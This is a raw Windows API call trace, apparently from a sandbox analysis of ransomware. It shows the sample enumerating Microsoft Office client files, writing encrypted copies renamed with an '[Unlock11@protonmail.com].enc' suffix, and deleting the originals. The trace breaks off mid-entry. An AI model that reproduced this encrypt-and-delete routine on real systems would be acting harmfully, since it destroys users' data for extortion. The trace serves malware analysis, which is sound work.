[0135.055] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d63f8 [0135.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d63d8 | out: hHeap=0x2ad0000) returned 1 [0135.055] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0135.055] GetLastError () returned 0x0 [0135.056] GetLastError () returned 0x0 [0135.056] GetLastError () returned 0x0 [0135.056] GetLastError () returned 0x0 [0135.056] GetCurrentThreadId () returned 0x9b0 [0135.056] GetLastError () returned 0x0 [0135.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0135.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0135.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0135.056] GetLastError () returned 0x0 [0135.057] GetLastError () returned 0x0 [0135.057] GetCurrentThreadId () returned 0x9b0 [0135.058] GetLastError () returned 0x0 [0135.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0135.058] GetLastError () returned 0x0 [0135.058] GetLastError () returned 0x0 [0135.058] GetCurrentThreadId () returned 0x9b0 [0135.058] GetLastError () returned 0x0 [0135.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0135.058] GetCurrentThreadId () returned 0x9b0 [0135.059] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x37940d0, Size=0xe4f5) returned 0x37940d0 [0135.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d63f8 | out: hHeap=0x2ad0000) returned 1 [0135.059] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xe4f8) returned 0x36f8548 [0135.059] GetLastError () returned 0x0 [0135.059] GetLastError () returned 0x0 [0135.059] GetLastError () returned 0x0 [0135.059] GetLastError () returned 0x0 [0135.059] GetCurrentThreadId () returned 0x9b0 [0135.059] GetLastError () returned 0x0 [0135.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0135.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0135.060] GetLastError () returned 0x0 [0135.061] GetLastError () returned 0x0 [0135.061] GetCurrentThreadId () returned 0x9b0 [0135.061] GetLastError () returned 0x0 [0135.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a25d0 | out: hHeap=0x2ad0000) returned 1 [0135.061] GetLastError () returned 0x0 [0135.061] GetLastError () returned 0x0 [0135.061] GetCurrentThreadId () returned 0x9b0 [0135.061] GetLastError () returned 0x0 [0135.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0135.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0135.062] GetCurrentThreadId () returned 0x9b0 [0135.062] GetLastError () returned 0x0 [0135.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0135.062] CloseHandle (hObject=0x3ac) returned 1 [0135.062] GetLastError () returned 0x0 [0135.062] GetCurrentThreadId () returned 0x9b0 [0135.062] GetLastError () returned 0x0 [0135.063] GetLastError () returned 0x0 [0135.063] CloseHandle (hObject=0x39c) returned 1 [0135.063] GetLastError () returned 0x0 [0135.063] GetCurrentThreadId () returned 0x9b0 [0135.063] GetLastError () returned 0x0 [0135.063] GetLastError () returned 0x0 [0135.063] GetLastError () returned 0x0 [0135.063] GetLastError () returned 0x0 [0135.063] GetLastError () returned 0x0 [0135.063] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe")) returned 1 [0135.066] GetLastError () returned 0x0 [0135.066] GetCurrentThreadId () returned 0x9b0 [0135.066] GetLastError () returned 0x0 [0135.066] GetLastError () returned 0x0 [0135.066] GetLastError () returned 0x0 [0135.066] GetLastError () returned 0x0 [0135.066] GetLastError () returned 0x0 [0135.066] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll", lpFilePart=0x9bada4*="AppvIsvStream32.dll") returned 0x41 [0135.067] GetCurrentThreadId () returned 0x9b0 [0135.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0135.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0135.067] GetCurrentThreadId () returned 0x9b0 [0135.067] GetLastError () returned 0x0 [0135.067] GetLastError () returned 0x0 [0135.067] GetLastError () returned 0x0 [0135.067] GetLastError () returned 0x0 [0135.067] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll", lpFilePart=0x9bada4*="AppvIsvStream64.dll") returned 0x41 [0135.068] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0135.068] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0135.068] GetCurrentThreadId () returned 0x9b0 [0135.068] GetLastError () returned 0x0 [0135.068] GetLastError () returned 0x0 [0135.068] GetLastError () returned 0x0 [0135.068] GetLastError () returned 0x0 [0135.068] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll", lpFilePart=0x9bada4*="AppvIsvSubsystems32.dll") returned 0x45 [0135.068] GetCurrentThreadId () returned 0x9b0 [0135.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0135.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0135.069] GetLastError () returned 0x0 [0135.069] GetLastError () returned 0x0 [0135.069] GetLastError () returned 0x0 [0135.069] GetLastError () returned 0x0 [0135.069] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll", lpFilePart=0x9bada4*="AppvIsvSubsystems64.dll") returned 0x45 [0135.069] GetCurrentThreadId () returned 0x9b0 [0135.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0135.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0135.070] GetCurrentThreadId () returned 0x9b0 [0135.070] GetLastError () returned 0x0 [0135.070] GetLastError () returned 0x0 [0135.070] GetLastError () returned 0x0 [0135.070] GetLastError () returned 0x0 [0135.070] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe", lpFilePart=0x9bada4*="AppVLP.exe") returned 0x38 [0135.070] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0135.070] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0135.071] GetLastError () returned 0x0 [0135.071] GetLastError () returned 0x0 [0135.071] GetLastError () returned 0x0 [0135.071] GetLastError () returned 0x0 [0135.071] GetLastError () returned 0x0 [0135.071] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fa60 | out: hHeap=0x2ad0000) returned 1 [0135.071] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x2a1fa60 [0135.071] GetLastError () returned 0x0 [0135.071] GetLastError () returned 0x0 [0135.071] GetLastError () returned 0x0 [0135.072] GetLastError () returned 0x0 [0135.072] GetLastError () returned 0x0 [0135.072] GetLastError () returned 0x0 [0135.072] GetLastError () returned 0x0 [0135.072] GetLastError () returned 0x0 [0135.072] GetLastError () returned 0x0 [0135.072] GetLastError () returned 0x0 [0135.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fa60 | out: hHeap=0x2ad0000) returned 1 [0135.072] GetLastError () returned 0x0 [0135.073] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0135.073] GetLastError () returned 0x0 [0135.073] GetLastError () returned 0x0 [0135.073] GetLastError () returned 0x0 [0135.073] GetLastError () returned 0x0 [0135.073] GetLastError () returned 0x0 [0135.073] GetLastError () returned 0x0 [0135.073] GetLastError () returned 0x0 [0135.073] GetLastError () returned 0x0 [0135.073] GetLastError () returned 0x0 [0135.073] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab28 | out: hHeap=0x2ad0000) returned 1 [0135.074] GetLastError () returned 0x0 [0135.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0135.074] GetLastError () returned 0x0 [0135.074] GetLastError () returned 0x0 [0135.074] GetLastError () returned 0x0 [0135.074] GetLastError () returned 0x0 [0135.074] GetLastError () returned 0x0 [0135.074] GetLastError () returned 0x0 [0135.074] GetLastError () returned 0x0 [0135.074] GetLastError () returned 0x0 [0135.075] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0135.075] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd153dc41, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd153dc41, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1e7acf5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x69630)) returned 1 [0135.075] GetLastError () returned 0x0 [0135.075] GetLastError () returned 0x0 [0135.075] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38874a0 | out: hHeap=0x2ad0000) returned 1 [0135.075] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347fb24 | out: pbBuffer=0x347fb24) returned 1 [0135.075] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0135.075] GetLastError () returned 0x0 [0135.075] GetLastError () returned 0x0 [0135.076] GetLastError () returned 0x0 [0135.076] GetLastError () returned 0x0 [0135.076] GetLastError () returned 0x0 [0135.076] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fa60 | out: hHeap=0x2ad0000) returned 1 [0135.076] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x2a1fa60 [0135.076] GetLastError () returned 0x0 [0135.076] GetLastError () returned 0x0 [0135.076] GetLastError () returned 0x0 [0135.077] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0135.077] GetFileType (hFile=0x39c) returned 0x1 [0135.077] GetFileType (hFile=0x39c) returned 0x1 [0135.077] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0135.077] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0135.077] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0135.077] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0135.077] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0135.077] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0135.077] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0135.078] GetCurrentThreadId () returned 0x9b0 [0135.078] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0135.078] GetFileType (hFile=0x3ac) returned 0x1 [0135.078] GetCurrentThreadId () returned 0x9b0 [0135.078] GetFileType (hFile=0x3ac) returned 0x1 [0135.078] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0135.078] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0135.078] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0135.079] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0135.079] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0135.079] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0135.079] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0135.079] GetCurrentThreadId () returned 0x9b0 [0135.079] GetCurrentThreadId () returned 0x9b0 [0135.079] GetCurrentThreadId () returned 0x9b0 [0135.081] GetCurrentThreadId () returned 0x9b0 [0135.081] GetCurrentThreadId () returned 0x9b0 [0135.081] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0135.082] GetCurrentThreadId () returned 0x9b0 [0135.084] GetCurrentThreadId () returned 0x9b0 [0135.084] GetCurrentThreadId () returned 0x9b0 [0135.085] GetCurrentThreadId () returned 0x9b0 [0135.085] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0135.085] GetCurrentThreadId () returned 0x9b0 [0135.086] GetCurrentThreadId () returned 0x9b0 [0135.086] GetCurrentThreadId () returned 0x9b0 [0135.088] GetCurrentThreadId () returned 0x9b0 [0135.088] GetCurrentThreadId () returned 0x9b0 [0135.089] GetCurrentThreadId () returned 0x9b0 [0135.091] GetCurrentThreadId () returned 0x9b0 [0135.092] GetCurrentThreadId () returned 0x9b0 [0135.092] GetCurrentThreadId () returned 0x9b0 [0135.093] GetCurrentThreadId () returned 0x9b0 [0135.094] GetCurrentThreadId () returned 0x9b0 [0135.094] GetCurrentThreadId () returned 0x9b0 [0135.094] GetCurrentThreadId () returned 0x9b0 [0135.096] GetCurrentThreadId () returned 0x9b0 [0135.096] GetCurrentThreadId () returned 0x9b0 [0135.096] GetCurrentThreadId () returned 0x9b0 [0135.096] GetCurrentThreadId () returned 0x9b0 [0135.097] GetCurrentThreadId () returned 0x9b0 [0135.097] GetCurrentThreadId () returned 0x9b0 [0135.097] GetCurrentThreadId () returned 0x9b0 [0135.098] GetCurrentThreadId () returned 0x9b0 [0135.098] GetCurrentThreadId () returned 0x9b0 [0135.098] GetCurrentThreadId () returned 0x9b0 [0135.098] CloseHandle (hObject=0x3ac) returned 1 [0135.099] GetCurrentThreadId () returned 0x9b0 [0135.099] CloseHandle (hObject=0x39c) returned 1 [0135.099] GetCurrentThreadId () returned 0x9b0 [0135.099] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe")) returned 1 [0135.104] GetCurrentThreadId () returned 0x9b0 [0135.104] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll", lpFilePart=0x9bada4*="C2R32.dll") returned 0x37 [0135.104] GetCurrentThreadId () returned 0x9b0 [0135.105] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0135.105] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0135.105] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0135.105] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0135.105] GetCurrentThreadId () returned 0x9b0 [0135.105] GetLastError () returned 0x0 [0135.105] GetLastError () returned 0x0 [0135.105] GetLastError () returned 0x0 [0135.105] GetLastError () returned 0x0 [0135.105] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll", lpFilePart=0x9bada4*="C2R64.dll") returned 0x37 [0135.105] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0135.106] GetCurrentThreadId () returned 0x9b0 [0135.106] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0135.106] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0135.106] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0135.106] GetLastError () returned 0x0 [0135.106] GetLastError () returned 0x0 [0135.106] GetLastError () returned 0x0 [0135.106] GetLastError () returned 0x0 [0135.106] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll", lpFilePart=0x9bada4*="concrt140.dll") returned 0x3b [0135.106] GetCurrentThreadId () returned 0x9b0 [0135.106] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0135.107] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0135.107] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0135.107] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0135.107] GetCurrentThreadId () returned 0x9b0 [0135.107] GetLastError () returned 0x0 [0135.107] GetLastError () returned 0x0 [0135.107] GetLastError () returned 0x0 [0135.107] GetLastError () returned 0x0 [0135.107] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll", lpFilePart=0x9bada4*="mfc140u.dll") returned 0x39 [0135.107] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0135.107] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0135.107] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0135.108] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0135.108] GetCurrentThreadId () returned 0x9b0 [0135.108] GetLastError () returned 0x0 [0135.108] GetLastError () returned 0x0 [0135.108] GetLastError () returned 0x0 [0135.108] GetLastError () returned 0x0 [0135.108] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll", lpFilePart=0x9bada4*="msvcp120.dll") returned 0x3a [0135.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0135.108] GetCurrentThreadId () returned 0x9b0 [0135.108] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0135.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0135.109] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0135.109] GetLastError () returned 0x0 [0135.109] GetLastError () returned 0x0 [0135.109] GetLastError () returned 0x0 [0135.109] GetLastError () returned 0x0 [0135.109] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll", lpFilePart=0x9bada4*="msvcp140.dll") returned 0x3a [0135.109] GetCurrentThreadId () returned 0x9b0 [0135.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0135.109] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0135.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0135.109] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0135.109] GetCurrentThreadId () returned 0x9b0 [0135.110] GetLastError () returned 0x0 [0135.110] GetLastError () returned 0x0 [0135.110] GetLastError () returned 0x0 [0135.110] GetLastError () returned 0x0 [0135.110] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll", lpFilePart=0x9bada4*="msvcr120.dll") returned 0x3a [0135.110] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0135.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0135.110] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0135.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0135.110] GetCurrentThreadId () returned 0x9b0 [0135.110] GetLastError () returned 0x0 [0135.110] GetLastError () returned 0x0 [0135.111] GetLastError () returned 0x0 [0135.111] GetLastError () returned 0x0 [0135.111] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll", lpFilePart=0x9bada4*="ucrtbase.dll") returned 0x3a [0135.111] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0135.111] GetCurrentThreadId () returned 0x9b0 [0135.111] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0135.111] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0135.111] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0135.111] GetLastError () returned 0x0 [0135.111] GetLastError () returned 0x0 [0135.111] GetLastError () returned 0x0 [0135.112] GetLastError () returned 0x0 [0135.112] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll", lpFilePart=0x9bada4*="vccorlib140.dll") returned 0x3d [0135.112] GetCurrentThreadId () returned 0x9b0 [0135.112] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0135.112] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0135.112] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0135.112] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0135.112] GetCurrentThreadId () returned 0x9b0 [0135.112] GetLastError () returned 0x0 [0135.112] GetLastError () returned 0x0 [0135.112] GetLastError () returned 0x0 [0135.113] GetLastError () returned 0x0 [0135.113] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll", lpFilePart=0x9bada4*="vcruntime140.dll") returned 0x3e [0135.113] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0135.113] GetCurrentThreadId () returned 0x9b0 [0135.113] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0135.113] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0135.113] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0135.113] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x325f8f0 | out: hHeap=0x2ad0000) returned 1 [0135.113] GetLastError () returned 0x0 [0135.113] GetLastError () returned 0x0 [0135.113] GetLastError () returned 0x0 [0135.113] GetLastError () returned 0x0 [0135.114] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, 